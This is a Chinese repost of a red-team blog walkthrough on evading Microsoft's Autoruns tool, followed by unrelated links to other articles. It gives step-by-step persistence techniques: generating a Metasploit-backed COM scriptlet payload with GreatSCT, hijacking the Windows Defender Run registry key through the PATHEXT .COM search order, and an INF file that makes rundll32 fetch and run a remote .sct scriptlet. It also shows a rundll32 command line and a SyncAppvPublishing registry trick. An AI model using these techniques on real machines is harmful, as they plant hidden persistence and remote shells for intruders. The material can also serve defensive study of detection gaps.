http://bobao.360.cn/learning/detail/4666.html

简介:

【转】http://bobao.360.cn/learning/detail/4666.html


背景


在第七届的DerbyCon大会上, Chris Bisnett和Kyle Hanslovan发表了一个名叫“Evading Autoruns”的演讲。在这篇演讲中, Kyle 和Chris展示了绕过微软Sysinternals Autoruns工具检查的方法。他们主要利用“PATHEXT”这个Windows环境变量以及Microsoft签名的可执行文件来持久运行注册表项。由于这些家伙的演讲实在是太精彩了,因此我强烈推荐你们看一下他们以下发布的与演讲有关的资料:

Talk

Slides

PoC

Example “shady” INF

Github


摘要


从攻击者的视角来看,获取对远端机器的访问权限是关键;而从安全防护的视角来看,发现攻击者的踪迹同样重要。在这次演讲中,Kyle 和Chris披露了几种“高端”技术用于绕过最常见的系统监视工具,这些“高端”技术涉及重新创建注册表中的run key、非常规利用搜索顺序以及利用可信应用程序。为了补充他们的技术说明,针对每种绕过方法本文都将包括demo演示和检测建议。现在我们已经回顾了上述所有的材料,下面我们对该演讲中有趣的技术内容进行深入探讨。


Autoruns扩展搜索顺序技术


在幻灯片68页,我们看到一个有趣的声明,具体如下图所示:

 http://p5.qhimg.com/t019390a80474bf734c.png

上图中红色框中的内容让我想起Windows上的“PATHEXT”环境变量,之后我继续阅读下面几张幻灯片,以确保我了解搜索顺序如何工作,然后我看到以下幻灯片。

 http://p3.qhimg.com/t01f36696376ca8a1dc.png

通过上图我们发现,PATHEXT环境变量在 '.EXE' 之前会去查找'.COM'扩展名,并且这一发现在下一张幻灯片中得到了验证,这让我想起了Derbycon 3.0中的Christopher Campbell和Matt Graeber的“Living Off the Land”演讲 。

 http://p9.qhimg.com/t01b00b674b170971e3.png

现在,我们了解了搜索顺序是如何工作的。理论上,如果我们修改了现有的注册表项,那么我们应该可以加载'.COM'而不是'.EXE',因为搜索顺序会首先查找'.COM'扩展名,这正是利用了Windows的工作原理,下面我们继续研究他们的幻灯片。

 http://p2.qhimg.com/t01d72fe068af44db3f.png

上图看起来像是Windows 10上Windows Defender的注册表项。我猜测下面必须要将这个注册表项的值从“C:\ Program Files \ Windows Defender \ MSASCuiL.exe”修改为“C:\ Program Files \ Windows Defender \ MSASCuiL”,并将“.COM”文件放在同一目录中。 下面让我们来看看我的猜测是否正确。

 http://p5.qhimg.com/t012f6090dcf180a37e.png

通过上图发现我的猜测是对的。我们来看看他们是否将“.COM”文件添加到同一个目录了。

 http://p9.qhimg.com/t01fdb5f865ca893151.png

从上面ppt上来看他们的确那么做了,下面我们来研究一下AutoRuns程序。

 http://p1.qhimg.com/t010c0f5cb258a26e22.png

通过上图发现,这的确是一个十分漂亮的绕过,从图中可以看到我们的“.COM”文件的发行者是“Microsoft Corporation”。

现在我们了解了“搜索顺序”的工作原理,下面我们在Windows 7和Windows 10中做个实验。首先,使用我开发的GreatSCT工具生成一个COM scriptlet payload,该工具在使用的时候需要首先安装Python3和Metasploit。其次,需要目标系统上安装了微软的 Excel。下面我们开始我们的实验:

1
2
git clone https: //github .com /GreatSCT/GreatSCT
python3 gr8sct.py

http://p4.qhimg.com/t0104d2d84dd41992e4.png 

执行上述两个操作之后将看到以下提示,按任意键开始实验。

 http://p0.qhimg.com/t01a55b61e9fc5621c8.png

我们将使用“SCT / regsvr32.cfg”选项,输入3,然后按Enter键。下图是上述生成的payload的配置参数:

 http://p7.qhimg.com/t01d4eeac0ab9443478.png

注意我将输出文件设置为“MSASCuiL.com”。输入generate,然后按Enter键。

 http://p1.qhimg.com/t016c3205d1792a1e5a.png

现在我们生成了一个COM有效载荷,下面我们可以测试“扩展搜索顺序”技术了。 首先安装一个有Excel的Windows 7虚拟机。第一步,让我们修改Windows Defender注册表项:

1
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityHealth (REG_EXPAND_SZ) –C:\Program Files\Windows Defender\MSASCui

 http://p9.qhimg.com/t01b2d85450741a07bd.png

将COM有效载荷放在C:\Program Files\Windows Defender\并命名为“MSASCui.com”

 http://p0.qhimg.com/t01142ae789c201b6b3.png

下一步设置metasploit的监听程序:

 http://p8.qhimg.com/t01a5bd41227bf97caf.png

然后重新启动Windows 7 VM并等待我们的shell。

 http://p7.qhimg.com/t01030e763a4e25713c.png

从上图可以看到,我们成功获取到了一个shell。


Autoruns INF 技术


首先让我们来看一下Casey Smith (@subtee)关于Scriptlets的介绍:

 http://p8.qhimg.com/t0135f4094fed41af05.png

下面是安全防护对上述攻击的防护:

 http://p4.qhimg.com/t01c596bd548a615c9d.png

Chris和Kyle在MSDN上发现了关于“INF”文件的介绍。

http://p8.qhimg.com/t01281bac6afda559da.png

下面我们继续浏览他们的幻灯片,看看是否有关于“INF”的例子。

 http://p4.qhimg.com/t010a1d90543045cfef.png

上图的确是一个关于“INF”文件的例子,但这是如何工作的?通过阅读下面这张ppt我发现他们使用的是“rundll32.exe”而不是“regsvr32.exe”。

 http://p4.qhimg.com/t010a1d90543045cfef.png

下面我将演示如何使用“rundll32.exe”和“INF”文件来绕过微软的Antorun技术。

 http://p3.qhimg.com/t01c3e55cf707f0666c.png

在本实验中我依然使用上述使用GreatSCT工具生成的payload,而且出于安全性的考虑,我将对ppt中提供的shady.inf进行修改,内容如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
; ———————————————————————-
; Required Sections
; ———————————————————————-
[Version]
Signature=$CHICAGO$
Provider=test
Class=Printer
[Manufacturer]
HuntressLabs=ModelsSection,NTx86,NTia64,NTamd64
; ———————————————————————-
; Models Section
; ———————————————————————-
[ModelsSection.NTx86]
UnregisterDlls = Squiblydoo
[ModelsSection.NTia64]
UnregisterDlls = Squiblydoo
[ModelsSection.NTamd64]
UnregisterDlls = Squiblydoo
; ———————————————————————-
; Support Sections
; ———————————————————————-
[DefaultInstall]
UnregisterDlls = Squiblydoo
[Squiblydoo]
11,,scrobj.dll,2,60,https://blog.conscioushacker.io/testaroo.sct

我将上述内容保存到“testaroo.inf”文件中,并将放在我的桌面上。下一步是创建一个注册表项。

 http://p4.qhimg.com/t013deea64a058c1de2.png

与上一个实验一样:首先设置一个metasploit监听器,然后重新启动Windows 7 VM并等待shell回连。但是我并没有得到一个shell,因此我打开Process Hacker来查找原因。

 http://p6.qhimg.com/t0136bf819d9df53495.png

在上图进程树中我并没有找到rundll32.exe,但通过在Windows 7上手动执行“rundll32.exe setupapi,InstallHinfSection ModelsSection 128 C:\Users\lopi\Desktop\testaroo.inf”时,我发现是可以得到一个回连的shell的,但Windows 10上却不行。通过查阅资料我找到了原因,Chris和Kyle在他们的演讲中并没有提到这些内容,那就是:Windows 10要求驱动程序必须具有合法的签名,以便在没有用户提示的情况下进行安装。

Autoruns InfDefaultInstall.exe 技术

接下来我们介绍InfDefaultInstall.exe技术,具体如下图所示:

 http://p2.qhimg.com/t01a8289ab90541f94f.png

通过阅读ppt我发现,我们可以使用“InfDefaulInstall.exe”而不是“rundll32.exe”,并可以使用相同的方式将它应用到以前的技术。首先我们启动Windows 10 VM,然后我们看看是否有相同的数字签名以及UAC是否提示“InfDefaultInstall.exe”。

 http://p4.qhimg.com/t01d23e8dd346fa46a3.png

有UAC的提示,但是数字签名怎么样呢?

http://p6.qhimg.com/t01cf47237f06d3acf4.png 

实验中我们发现Windows 10上好像并不行,因此我建议在Windows 7以下的操作系统上使用这种技术。而且,在Windows 7和Windows 10操作系统上,我也依然无法通过的autoruns注册表项使其工作。尽管该技术在Chris和Kyle的演讲中看起来很神奇,但在实践中却不是这样的。

Autoruns SyncAppvPublishing.exe 技术

让我们通过一张幻灯片来直接介绍该技术吧。

 http://p1.qhimg.com/t01b50e25c38ffe947a.png

该技术看起来很简单,下面我们试着在Windows 10 VM中添加一个注册表项。

 http://p5.qhimg.com/t019bbf126a82b0f15a.png

现在我们重新启动我们的Windows 10 VM并期待calc.exe应用程序能够执行起来,实验结果如下图所示:

 http://p2.qhimg.com/t014ce1923829f731f4.png

Ok, 我们成功弹出了计算器程序!

















本文转自fatshi51CTO博客,原文链接: http://blog.51cto.com/duallay/1979860,如需转载请自行联系原作者


相关文章
|
4天前
|
弹性计算 安全 API
访问控制(RAM)|云上安全使用AccessKey的最佳实践
集中管控AK/SK的生命周期,可以极大降低AK/SK管理和使用成本,同时通过加密和轮转的方式,保证AK/SK的安全使用,本次分享为您介绍产品原理,以及具体的使用步骤。
101786 0
|
4天前
|
SQL 关系型数据库 分布式数据库
Doodle Jump — 使用Flutter&Flame开发游戏真不错!
用Flutter&Flame开发游戏是一种什么体验?最近网上冲浪的时候,我偶然发现了一个国外的游戏网站,类似于国内的4399。在浏览时,我遇到了一款经典的小游戏:Doodle Jump...
|
12天前
|
弹性计算 运维 安全
访问控制(RAM)|云上程序使用临时凭证的最佳实践
STS临时访问凭证是阿里云提供的一种临时访问权限管理服务,通过STS获取可以自定义时效和访问权限的临时身份凭证,减少长期访问密钥(AccessKey)泄露的风险。本文将为您介绍产品原理,以及具体的使用步骤。
151035 4
|
10天前
|
数据采集 存储 运维
提升团队工程交付能力,从“看见”工程活动和研发模式开始
本文从统一工程交付的概念模型开始,介绍了如何将应用交付的模式显式地定义出来,并通过工具平台落地。
119990 57
|
11天前
|
监控 负载均衡 Java
深入探究Java微服务架构:Spring Cloud概论
**摘要:** 本文深入探讨了Java微服务架构中的Spring Cloud,解释了微服务架构如何解决传统单体架构的局限性,如松耦合、独立部署、可伸缩性和容错性。Spring Cloud作为一个基于Spring Boot的开源框架,提供了服务注册与发现、负载均衡、断路器、配置中心、API网关等组件,简化了微服务的开发、部署和管理。文章详细介绍了Spring Cloud的核心模块,如Eureka、Ribbon、Hystrix、Config、Zuul和Sleuth,并通过一个电商微服务系统的实战案例展示了如何使用Spring Cloud构建微服务应用。
103503 8
|
12天前
|
人工智能 Serverless 对象存储
让你的文档从静态展示到一键部署可操作验证
通过函数计算的能力让阿里云的文档从静态展示升级为动态可操作验证,用户在文档中单击一键部署可快速完成代码的部署及测试。这一改变已在函数计算的活动沙龙中得到用户的认可。
120841 218
|
11天前
|
SQL 存储 数据可视化
Ganos H3地理网格能力解析与最佳实践
本文介绍了Ganos H3的相关功能,帮助读者快速了解Ganos地理网格的重要特性与应用实践。H3是Uber研发的一种覆盖全球表面的二维地理网格,采用了一种全球统一的、多层次的六边形网格体系来表示地球表面,这种地理网格技术在诸多业务场景中得到广泛应用。Ganos不仅提供了H3网格的全套功能,还支持与其它Ganos时空数据类型进行跨模联合分析,极大程度提升了客户对于时空数据的挖掘分析能力。
|
11天前
|
存储 缓存 安全
深度解析JVM世界:JVM内存结构
深度解析JVM世界:JVM内存结构
|
18天前
|
人工智能 编解码 对象存储
一键生成视频!用 PAI-EAS 部署 AI 视频生成模型 SVD 工作流
本教程将带领大家免费领取阿里云PAI-EAS的免费试用资源,并且带领大家在 ComfyUI 环境下使用 SVD的模型,根据任何图片生成一个小短视频。